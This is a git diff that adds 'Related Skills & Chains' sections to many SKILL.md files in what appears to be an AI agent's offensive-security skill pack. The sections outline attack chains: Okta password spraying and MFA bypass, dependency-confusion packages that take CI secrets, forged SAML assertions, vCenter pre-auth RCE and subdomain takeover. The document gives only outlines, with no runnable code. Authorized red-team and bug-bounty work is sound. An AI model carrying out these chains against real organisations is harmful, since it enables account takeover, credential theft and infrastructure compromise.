(sources + extraction + LinkedIn/Glassdoor/Instagram/conference intel + vehicle/fleet intel). Added §46 tooling quick-install (subdomain, HTTP probing, vuln scanning, content discovery, JS extraction, Wayback, cloud, identity, mobile, TLS, utilities, frameworks). Added §47 sector-specific recon notes (healthcare DICOM/HL7/FHIR/EHR + finance SWIFT/FIX/Bloomberg/banking middleware + ICS-SCADA Modbus/BACnet/S7/DNP3 + IoT MQTT/CoAP/UPnP + government FedRAMP/FISMA + maritime/aviation/auto). Renumbered Runnable Helper → §48, Self-Test → §49 (refreshed for v2.1), Changelog → §50.- **v2.0 (2026-04-27)** — major rewrite for external red-team posture. Added: pre-built wordlists (§16), 29-pattern secret catalog (§17), 50+ dork corpus (§18), GitHub code-search dorks (§19), endpoint interest score (§20), mobile ownership confidence (§21), identity-fabric concrete endpoints (§22), read-only secret validators (§23), Postman workspace search (§24), Stack Exchange sweep (§25), public SaaS dorks (§26), subdomain-source stack (§27), domain-level breach severity (§15.1), L2 explorer table (§30.2), USCC + ICP workflow (§14.2), cross-module sidecar coordination (§36), attack-path hint patterns (§39), severity decision matrix (§40), runnable secret-scan helper (§41). Strengthened: confidence levels (§2), output format (§3), do-not rules (§5). Original tool tables retained and lightly reorganized.++---++## Related Skills & Chains++- **`web2-recon`** — When the arsenal needs to be executed against a live host set. Workflow primitive: this skill provides the probe paths and wordlists; `web2-recon` runs the actual subfinder → dnsx → httpx → katana pipeline that consumes them.+- **`osint-methodology`** — When this skill's concrete probes need a planning framework. Workflow primitive: `osint-methodology` is the planning skeleton (5-stage pipeline, asset graph, findings rubric); this skill is the operational arsenal that fills each stage with curl one-liners and regexes.+- **`hunt-subdomain`** — When this skill's subdomain enumeration finds stale CNAMEs. Workflow primitive: subdomains discovered via §27 / `references/recon-stack.md` get auto-routed to `hunt-subdomain` for takeover validation.+- **`hunt-cloud-misconfig`** — When this skill's cloud-bucket enum surfaces listable buckets / Firebase / actuator endpoints. Workflow primitive: §39 attack-path hints (listable bucket, /actuator/env, open Elasticsearch) hand off to `hunt-cloud-misconfig` for exploitation.+- **`m365-entra-attack`** / **`okta-attack`** — When identity-fabric fingerprinting finds Entra/Okta. Workflow primitive: `references/identity-fabric.md` fingerprints the IdP; matched platform skill (loaded by `hunt-dispatch`) takes over for active enumeration.diff --git a/skills/okta-attack/SKILL.md b/skills/okta-attack/SKILL.mdindex 95fe080..9c051fc 100644--- a/skills/okta-attack/SKILL.md+++ b/skills/okta-attack/SKILL.md@@ -316,3 +316,13 @@ Several techniques publicly documented through 2022 (e.g., `/api/v1/authn` diffe3. Comparing responses byte-by-byte and timingIf responses are identical, the vector is hardened — pivot to OneDrive-equivalent or different approach.++---++## Related Skills & Chains++- **`hunt-subdomain`** — Okta tenant naming patterns (`<org>.okta.com`, `<org>.oktapreview.com`, `<org>-admin.okta.com`) frequently include orphan/dev tenants. Chain primitive: Okta tenant discovery via `/.well-known/okta-organization` → enumerate `<org>-dev`, `<org>-uat`, `<org>-test` subdomains → `hunt-subdomain` orphan-tenant identification → claim abandoned tenant → SSO takeover (legitimate `<org>` users redirected through compromised IdP for any app federated to the dev tenant).+- **`m365-entra-attack`** — Okta-as-IdP for M365 is common in hybrid orgs. Chain primitive: `okta-attack` user enumeration + spray succeeds on Okta tenant → Okta is federated to Entra → SAML assertion issued by compromised Okta user → full M365 access without ever touching `login.microsoftonline.com` directly (bypasses Entra Conditional Access in many configurations).+- **`hunt-saml`** — Okta issues SAML assertions to every federated downstream app. Chain primitive: Okta admin or developer credential captured → mint arbitrary SAML assertions in Okta admin → `hunt-saml` XSW or signature manipulation not even needed — legitimately signed assertions for arbitrary impersonation across every federated app (Salesforce, Workday, AWS, GitHub, M365).+- **`hunt-mfa-bypass`** — Okta supports multiple factors with varying enforcement. Chain primitive: Okta password sprayed → MFA challenge → `hunt-mfa-bypass` factor-downgrade (push-fatigue, SMS fallback, voice fallback, security-question fallback) → bypass to authenticated session.+- **`triage-validation`** — Okta findings can be high-impact but need the 7-Question Gate run on whether the captured artifact (token, code, factor) actually grants meaningful access. Chain primitive: validated Okta primitive → `triage-validation` to confirm access plane → `redteam-report-template` with explicit federated-app blast-radius.diff --git a/skills/osint-methodology/SKILL.md b/skills/osint-methodology/SKILL.mdindex 3187b53..8b88606 100644--- a/skills/osint-methodology/SKILL.md+++ b/skills/osint-methodology/SKILL.md@@ -1691,3 +1691,13 @@ Drop these prompts into a fresh Claude session to verify the skill loads and beh- **v2.1 (2026-04-27)** — comprehensive expansion based on 32-test smoke-test gap analysis. Added: confidence upgrade workflows (§2.1), detection-aware probing (§6.4), time budgeting & engagement profiles (§7.6), asset-level triage rules (§8.5), scale-based tactics (§10.1), Microsoft 365 deep surface (§11.10), WAF/CDN bypass & origin discovery (§27), vulnerability prioritization (§28), phishing infrastructure & pretext development (§29), bug bounty submission & responsible disclosure (§30), client deliverable templates (§31). Self-Test section refreshed with v2.1 prompts.- **v2.0 (2026-04-27)** — major rewrite for external red-team posture. Added: 5-stage pipeline, asset-graph discipline, findings rubric, bug-bounty pivot modes, identity-fabric mapping, API & auth-map methodology, JS deep analysis, mobile attack surface, cloud attack surface, breach × identity correlation, detectability tagging, validator discipline, cross-module coordination, multi-engine corpus run, evidence preservation, anti-patterns. Original methodology content (OpSec, Crypto, Image/Video/Chrono, Threat Actor inc. RU/CN, Synthetic Media) retained.- **v1.x** — original OSINT methodology framework based on SnailSploit/offensive-checklist.++---++## Related Skills & Chains++- **`offensive-osint`** — When the methodology needs to be executed with concrete probes. Workflow primitive: this skill is the planning skeleton (5-stage pipeline, asset graph, findings rubric); `offensive-osint` is the operational arsenal that fills each stage with curl one-liners, wordlists, and regexes.+- **`web2-recon`** — When asset discovery moves from planning to running. Workflow primitive: after this skill's §7 pipeline is scoped, `web2-recon` runs the subfinder → dnsx → httpx → katana commands and produces the URL set.+- **`hunt-subdomain`** — When the asset graph surfaces stale CNAMEs. Workflow primitive: §8 Asset Graph entries with CNAME pointing to S3 / GitHub Pages / Heroku / Shopify / Azure auto-route to `hunt-subdomain` for takeover validation.+- **`hunt-cloud-misconfig`** — When the asset graph surfaces exposed buckets / actuators / Firebase. Workflow primitive: §15 Cloud Attack Surface findings (open S3, /actuator/env, /firebaseio.com/.json) hand off to `hunt-cloud-misconfig` for exploitation.+- **`bb-methodology`** — When the engagement mode is bug-bounty rather than pure recon. Workflow primitive: this skill's §10 bug-bounty pivot modes are the bridge; once mode is confirmed, `bb-methodology` PART 0 + 5-phase workflow takes over.diff --git a/skills/redteam-mindset/SKILL.md b/skills/redteam-mindset/SKILL.mdindex fcdba9e..f7bc41d 100644--- a/skills/redteam-mindset/SKILL.md+++ b/skills/redteam-mindset/SKILL.md@@ -315,3 +315,13 @@ After internalizing this mindset, layer the technique-specific skills:- `bug-bounty` — for distinguishing red-team vs bb scope when working dual-trackThis skill is the operational discipline; those are the techniques.++---++## Related Skills & Chains++- **`hunt-dispatch`** — Once mindset is loaded, the `/hunt` command needs a mode answer (redteam vs wapt, blackbox vs greybox) before it routes to platform-specific skills. Engagement flow: red-team mindset triggered → confirm engagement mode (`bug-bounty` vs red-team vs pentest per project memory) → invoke `/hunt` → `hunt-dispatch` loads the right cluster (M365 / SharePoint / VPN / vCenter / APK).+- **`mid-engagement-ir-detection`** — Red-team mindset says "behavior changes ARE findings"; this skill operationalizes that. Engagement flow: red-team engagement underway → baseline established at session start → response patterns shift mid-test → `mid-engagement-ir-detection` captures the SOC-patch state as a NEW finding (defensive-action observed = client capability metric). Don't dismiss it as "the bug got fixed."+- **`redteam-report-template`** — Red-team deliverable is NOT a bug-bounty report; different audience, different tone, different cadence. Engagement flow: findings collected throughout engagement → at session close, package via `redteam-report-template` (Subject / Observations / Description / Impact / Recommendation / PoC) for client-facing DOCX, not `report-writing` which is for H1/Bugcrowd/Intigriti platforms.+- **`triage-validation`** — Red-team mindset includes "don't retract too fast" — the 4 retractions from redacted-portal.ch were mindset failures, not validation failures. Engagement flow: every finding through `triage-validation` 7-Question Gate, but with the red-team adjustment that "exploitable only with chain" is still a finding, not a no-finding.+- **`evidence-hygiene`** — Red-team engagements often span weeks; without disciplined evidence capture the deliverable suffers. Engagement flow: red-team mindset triggered → set up `evidence-hygiene` capture cadence (screenshots, request/response dumps, timestamped logs) at session start, not at session close.diff --git a/skills/redteam-report-template/SKILL.md b/skills/redteam-report-template/SKILL.mdindex da572f3..d33bf1a 100644--- a/skills/redteam-report-template/SKILL.md+++ b/skills/redteam-report-template/SKILL.md@@ -335,3 +335,13 @@ For calibration:- Time-to-deliverable: ~6 hours after engagement close for first draftThese numbers are typical for a 1-week external red-team engagement on a mid-size enterprise. Scale down for short tests, up for full purple-team exercises.++---++## Related Skills & Chains++- **`triage-validation`** — This template ingests findings that have ALREADY passed the 7-Question Gate. Engagement flow: every finding through `triage-validation` first → only validated findings → `redteam-report-template` packaging. Skipping triage produces a deliverable padded with informational noise that erodes client trust.+- **`evidence-hygiene`** — The DOCX with 16 embedded screenshots only works if evidence was captured systematically throughout the engagement. Engagement flow: `evidence-hygiene` discipline at session start → timestamped, organized screenshot folder → `redteam-report-template` consumes that folder to populate Evidence blocks.+- **`redteam-mindset`** — The Subject / Observations / Description / Impact / Recommendation / PoC structure assumes the operator already thinks like a red-teamer (impact-first, blast-radius framing). Engagement flow: `redteam-mindset` loaded at engagement start → findings collected with red-team framing baked in → `redteam-report-template` produces deliverable without rewriting every Impact section.+- **`mid-engagement-ir-detection`** — Defensive-action findings (SOC patches mid-test, new IPS rules deployed, account lockouts triggered by external attacker) are first-class findings in red-team deliverables. Engagement flow: `mid-engagement-ir-detection` captures behavior-change events → each becomes its own Subject in the deliverable, framed as "client capability observation" not as "bug we missed."+- **`report-writing`** + **`bugcrowd-reporting`** — Bug-bounty platform reports use DIFFERENT structure (one finding per submission, platform-specific severity scoring, OOS-clause counters). Engagement flow: if engagement mode is `bug-bounty` per project memory → use `report-writing` / `bugcrowd-reporting` instead. This template is ONLY for external red-team / enterprise client deliverables.diff --git a/skills/report-writing/SKILL.md b/skills/report-writing/SKILL.mdindex 992bc37..270bae1 100644--- a/skills/report-writing/SKILL.md+++ b/skills/report-writing/SKILL.md@@ -480,3 +480,13 @@ Authorization: Bearer ACCOUNT_A_TOKEN**Expected:** 403 Forbidden**Actual:** 200 OK with victim's private data```++---++## Related Skills & Chains++- **`triage-validation`** — When deciding whether to write a report at all. Workflow primitive: NEVER open this skill before `triage-validation`'s 7-Question Gate passes; a finding that fails the gate should be killed, not written up.+- **`bugcrowd-reporting`** — When the target is a Bugcrowd program. Workflow primitive: this skill's body template is the foundation; `bugcrowd-reporting` overlays VRT selection, severity-request paragraph, OOS-clause rebuttals on top.+- **`evidence-hygiene`** — When PoC screenshots / HARs are being attached to the report. Workflow primitive: every artifact referenced in the "Supporting Materials" / "Proof of Concept" section gets routed through `evidence-hygiene` for cookie + PII redaction before attachment.+- **`redteam-report-template`** — When the engagement is an external red team (NOT bug bounty). Workflow primitive: confirm engagement mode via `bb-methodology` PART 0; if red-team, swap this skill out for `redteam-report-template` (different audience, different structure: Subject / Observations / Description / Impact / Recommendation / PoC).+- **`bb-methodology`** — When Phase 5's report-writing step starts. Workflow primitive: Phase 5 calls `/report` which loads this skill for the platform-specific template (H1 / Bugcrowd / Intigriti / Immunefi).diff --git a/skills/security-arsenal/SKILL.md b/skills/security-arsenal/SKILL.mdindex 6cb05f3..a7f2f28 100644--- a/skills/security-arsenal/SKILL.md+++ b/skills/security-arsenal/SKILL.md@@ -836,3 +836,13 @@ sensitive.txt # Sensitive paths (.env, config.json, backup, etc.)/v1/v2```++---++## Related Skills & Chains++- **`hunt-xss`** / **`hunt-ssrf`** / **`hunt-sqli`** / **`hunt-ssti`** / **`hunt-idor`** — When a hunter is actively testing a parameter and needs payloads. Workflow primitive: this skill is the payload library those hunt-* skills reach for; the hunt-* skill identifies the sink, this skill provides the syntax.+- **`triage-validation`** — When deciding if a finding is reportable at all. Workflow primitive: the "Always Rejected" and "Conditionally Valid — Requires Chain" tables in both skills must agree; `triage-validation` runs the 7-Question Gate, this skill provides the chain-required mapping used by Q7.+- **`web2-recon`** — When the URL set has been classified by `gf` patterns. Workflow primitive: `gf xss/ssrf/sqli` outputs from recon → look up the corresponding payload section here; `gf` pattern names index directly into this skill's payload sections.+- **`evidence-hygiene`** — When a payload produces output worth screenshotting. Workflow primitive: after a payload demonstrates impact (cookie theft, data exfil), hand off to `evidence-hygiene` for redaction before the screenshot becomes evidence.+- **`bb-methodology`** — When Phase 3 (Discovery) routes by input type. Workflow primitive: Phase 3's decision flow ("ID param → IDOR checklist", "URL input → SSRF checklist") names which section of this arsenal to load.diff --git a/skills/supply-chain-attack-recon/SKILL.md b/skills/supply-chain-attack-recon/SKILL.mdindex 8758bb2..67cccd7 100644--- a/skills/supply-chain-attack-recon/SKILL.md+++ b/skills/supply-chain-attack-recon/SKILL.md@@ -383,3 +383,13 @@ This skill is squarely external — all targets are public registries / public G- **XZ Utils 2024** — Multi-year social-engineering supply-chain attack on upstream OSSEach of these is worth reading for what made the attack effective and what red flags existed earlier.++---++## Related Skills & Chains++- **`hunt-rce`** — Dependency confusion lands as RCE on whatever runner installs the package; CI runners are the highest-value target. Chain primitive: internal package name leaked in public JS bundle / SBOM / Docker image → publish malicious package to public npm/PyPI under same name with higher version → next `npm install` / `pip install` on CI runner executes attacker code in `preinstall` hook → `hunt-rce` post-foothold (env-var extraction yields AWS keys, GitHub PATs, Slack tokens) → CI-plane takeover.+- **`cloud-iam-deep`** — CI runners have IAM credentials; supply-chain RCE there is a credential-exfil bonanza. Chain primitive: malicious package executes on GitHub Actions runner → reads `$AWS_ACCESS_KEY_ID` / `$GITHUB_TOKEN` from env → `cloud-iam-deep` enumeration → IAM-privilege-escalation chain → production cloud-plane access.+- **`offensive-osint`** — Recon discipline overlaps heavily; SBOMs, JS bundles, GitHub org enumeration, Docker registry tags all live in both. Chain primitive: `offensive-osint` GitHub-org recon yields internal package names referenced in CI workflows → `supply-chain-attack-recon` cross-references these against public npm/PyPI for typosquat/confusion candidates.+- **`hunt-cloud-misconfig`** — Container registries (Docker Hub, GHCR, ECR public) frequently expose private images by accident. Chain primitive: SBOM mining reveals `internal-tools-v2:latest` referenced → check Docker Hub for accidentally-public mirror → `hunt-cloud-misconfig` registry enum → pull image → extract secrets baked into layers.+- **`triage-validation`** + **`redteam-report-template`** — Supply-chain RECON is in scope; actual publishing is EXTERNAL-OFFENSIVE and needs explicit written sign-off. Chain primitive: recon-only candidate list assembled → run through `triage-validation` 7-Question Gate (specifically: "can I demonstrate impact WITHOUT publishing?") → report as "dependency-confusion candidate inventory + reproduction steps" via `redteam-report-template`, never as a published-package PoC unless client signed off in writing.diff --git a/skills/triage-validation/SKILL.md b/skills/triage-validation/SKILL.mdindex 2673121..cf4aa8a 100644--- a/skills/triage-validation/SKILL.md+++ b/skills/triage-validation/SKILL.md@@ -295,3 +295,13 @@ When a previously-claimed finding fails reproduction — **never silently drop i- **`Administrator` timing leak** — single-shot 1527 ms vs ~700 ms control on Authentication.asmx Login; n=80 interleaved reproduction collapsed every group to 685-716 ms. Cause: single-sample statistical claim.**Why this matters:** retracted findings put in an appendix demonstrate methodological honesty. Silently dropping them looks like you cherry-picked. A clean 11-finding report with a retraction appendix is more trustworthy than a 13-finding report where 2 fall apart at triage.++---++## Related Skills & Chains++- **`report-writing`** — When all 7 questions pass and the Pre-Severity Gate is clean. Workflow primitive: this skill is the gate that runs BEFORE `report-writing`; only findings that clear all 7Q + 4 pre-submission gates get the report-template handoff.+- **`bugcrowd-reporting`** — When a Bugcrowd VRT mapping is needed for an accepted finding. Workflow primitive: after this skill validates the finding, `bugcrowd-reporting` decides the VRT category and severity-request paragraph.+- **`evidence-hygiene`** — When the validated finding needs PoC evidence captured. Workflow primitive: this skill says "Q6 requires proof of impact"; `evidence-hygiene` provides the capture-and-redact protocol for that proof.+- **`security-arsenal`** — When checking the always-rejected / conditionally-valid tables. Workflow primitive: this skill's "Never Submit List" and `security-arsenal`'s "Always Rejected" table are aligned; either entry-point lookup decides whether a primitive is reportable alone or only with a chain.+- **`bb-methodology`** — When Phase 5 (Validate & Report) starts. Workflow primitive: Phase 5's pre-report gate explicitly invokes `/validate` (this skill's 7Q gate) before any report is drafted.diff --git a/skills/vmware-vcenter-attack/SKILL.md b/skills/vmware-vcenter-attack/SKILL.mdindex 77d3318..4160dc6 100644--- a/skills/vmware-vcenter-attack/SKILL.md+++ b/skills/vmware-vcenter-attack/SKILL.md@@ -255,3 +255,13 @@ Internet-exposed vCenter is unfortunately common on the perimeter — and freque- `m365-entra-attack` — vCenter SSO sometimes federated to Entra; cred-chain bridging- `mid-engagement-ir-detection` — vCenter monitoring is sensitive; expect mid-engagement mitigations- `redteam-report-template` — vCenter findings need clear blast-radius framing (this is the virtualization plane, not just an app)++---++## Related Skills & Chains++- **`hunt-saml`** — vCenter Workspace ONE / VMware Identity Manager publishes SAML SP metadata at `/SAAS/API/1.0/GET/metadata/idp.xml` and consumes assertions at predictable ACS URLs. Chain primitive: vCenter SAML SP metadata reachable → IdP fingerprinted → `hunt-saml` XSW1-XSW8 against the federating IdP → forged assertion with `[email protected]` → SP-impersonation as vCenter admin → full virtualization-plane takeover.+- **`hunt-rce`** — VMware's high-impact CVE catalog (CVE-2021-21972, CVE-2021-21985, CVE-2022-22954, CVE-2023-20887) is almost entirely pre-auth RCE. Chain primitive: vCenter version fingerprint via SSL banner or `/ui/login` body → confirm patch level missing → `hunt-rce` deserialization/SSTI gadget from the matching CVE PoC → `root` on vCenter appliance → API-token mint → cluster-wide VM control.+- **`enterprise-vpn-attack`** — VPN compromise + vCenter on internal-only is a natural post-VPN pivot, but external-only engagement scope sometimes forbids it. Chain primitive: VPN appliance CVE → foothold inside corp network → if scope permits, `vmware-vcenter-attack` becomes reachable on internal-only vCenter → datacenter takeover.+- **`m365-entra-attack`** — Some VMware deployments federate vCenter SSO to Entra. Chain primitive: vCenter SSO discovery → AuthURL points to `login.microsoftonline.com` → `m365-entra-attack` Entra ATO on `[email protected]` synced identity → SAML assertion → vCenter admin without ever brute-forcing vCenter SSO.+- **`mid-engagement-ir-detection`** — VMware vSAN/vCenter alerting is sensitive; expect SOC to patch or block within hours of detection. Chain primitive: confirmed vCenter CVE → run `mid-engagement-ir-detection` baseline capture BEFORE attempting exploitation → if response patterns change mid-test, capture the SOC-patched state as a SECOND finding (defensive-action observed). Package both via `redteam-report-template`.diff --git a/skills/web2-recon/SKILL.md b/skills/web2-recon/SKILL.mdindex d7afece..7a0ea13 100644--- a/skills/web2-recon/SKILL.md+++ b/skills/web2-recon/SKILL.md@@ -423,3 +423,13 @@ Priority 3: OAuth/SSO flows → auth bypass candidatesPriority 4: Search/filter with user input → SQLi/SSRF/SSTI candidatesPriority 5: Admin/debug endpoints → auth bypass candidates```++---++## Related Skills & Chains++- **`offensive-osint`** — When recon needs concrete probes / wordlists / regexes beyond the basic pipeline. Workflow primitive: this skill produces the URL set; `offensive-osint` provides the secret regexes, GraphQL/Swagger paths, and identity-fabric probes you apply to that URL set.+- **`osint-methodology`** — When you need a severity rubric for what you discovered. Workflow primitive: after recon outputs `subdomains.txt` / `live-hosts.txt` / `urls.txt`, score each asset against `osint-methodology`'s findings rubric to decide what gets a finding versus what stays in the asset graph.+- **`hunt-subdomain`** — When recon surfaces stale CNAMEs / dangling DNS. Workflow primitive: any subdomain in `subdomains.txt` whose CNAME points to S3 / GitHub Pages / Heroku / Shopify / Azure should auto-route to `hunt-subdomain` for takeover validation.+- **`security-arsenal`** — When the URL set is classified by `gf` and ready for active testing. Workflow primitive: `gf xss/ssrf/sqli/idor` output names become payload-class queries against `security-arsenal`'s payload library.+- **`bb-methodology`** — When recon completes and Phase 1 transitions to Phase 2 (Mapping). Workflow primitive: hand the live host + URL set back to `bb-methodology` Phase 2 for endpoint mapping and Phase 3 vulnerability discovery routing.diff --git a/skills/web3-audit/SKILL.md b/skills/web3-audit/SKILL.mdindex 693d4db..330b083 100644--- a/skills/web3-audit/SKILL.md+++ b/skills/web3-audit/SKILL.md@@ -548,3 +548,13 @@ forge test --gas-report# Coverageforge coverage --report summary```++---++## Related Skills & Chains++- **`meme-coin-audit`** — When the target is a meme coin / SPL token rather than a DeFi protocol. Workflow primitive: pre-dive kill signals diverge — this skill's "TVL < $500K skip" doesn't apply to meme coins where the rug check (mint authority, freeze authority, LP lock) is the entire audit; route to `meme-coin-audit` instead.+- **`triage-validation`** — When a contract finding is ready to be filed on Immunefi. Workflow primitive: Immunefi has its own report format, but the impact-validated, chain-end-to-end discipline of `triage-validation` still applies; run the 7Q gate against the Foundry PoC before submitting.+- **`report-writing`** — When writing the Immunefi report body. Workflow primitive: `report-writing`'s Immunefi template (with Foundry PoC, root cause code snippet, quantified economic impact) is the body skeleton this skill's findings feed into.+- **`offensive-osint`** — When auditing a protocol's off-chain attack surface (frontend, admin API, RPC gateways). Workflow primitive: on-chain audit is this skill's job; any web2 component of the protocol (web-frontend, admin panel, indexer API) routes to `offensive-osint` for recon.+- **`bb-methodology`** — When deciding whether to dive at all. Workflow primitive: PART 0 of `bb-methodology` confirms engagement (web3 bug bounty / private audit / smart-contract review); this skill's pre-dive kill signals replace the standard scoring rubric for that engagement type.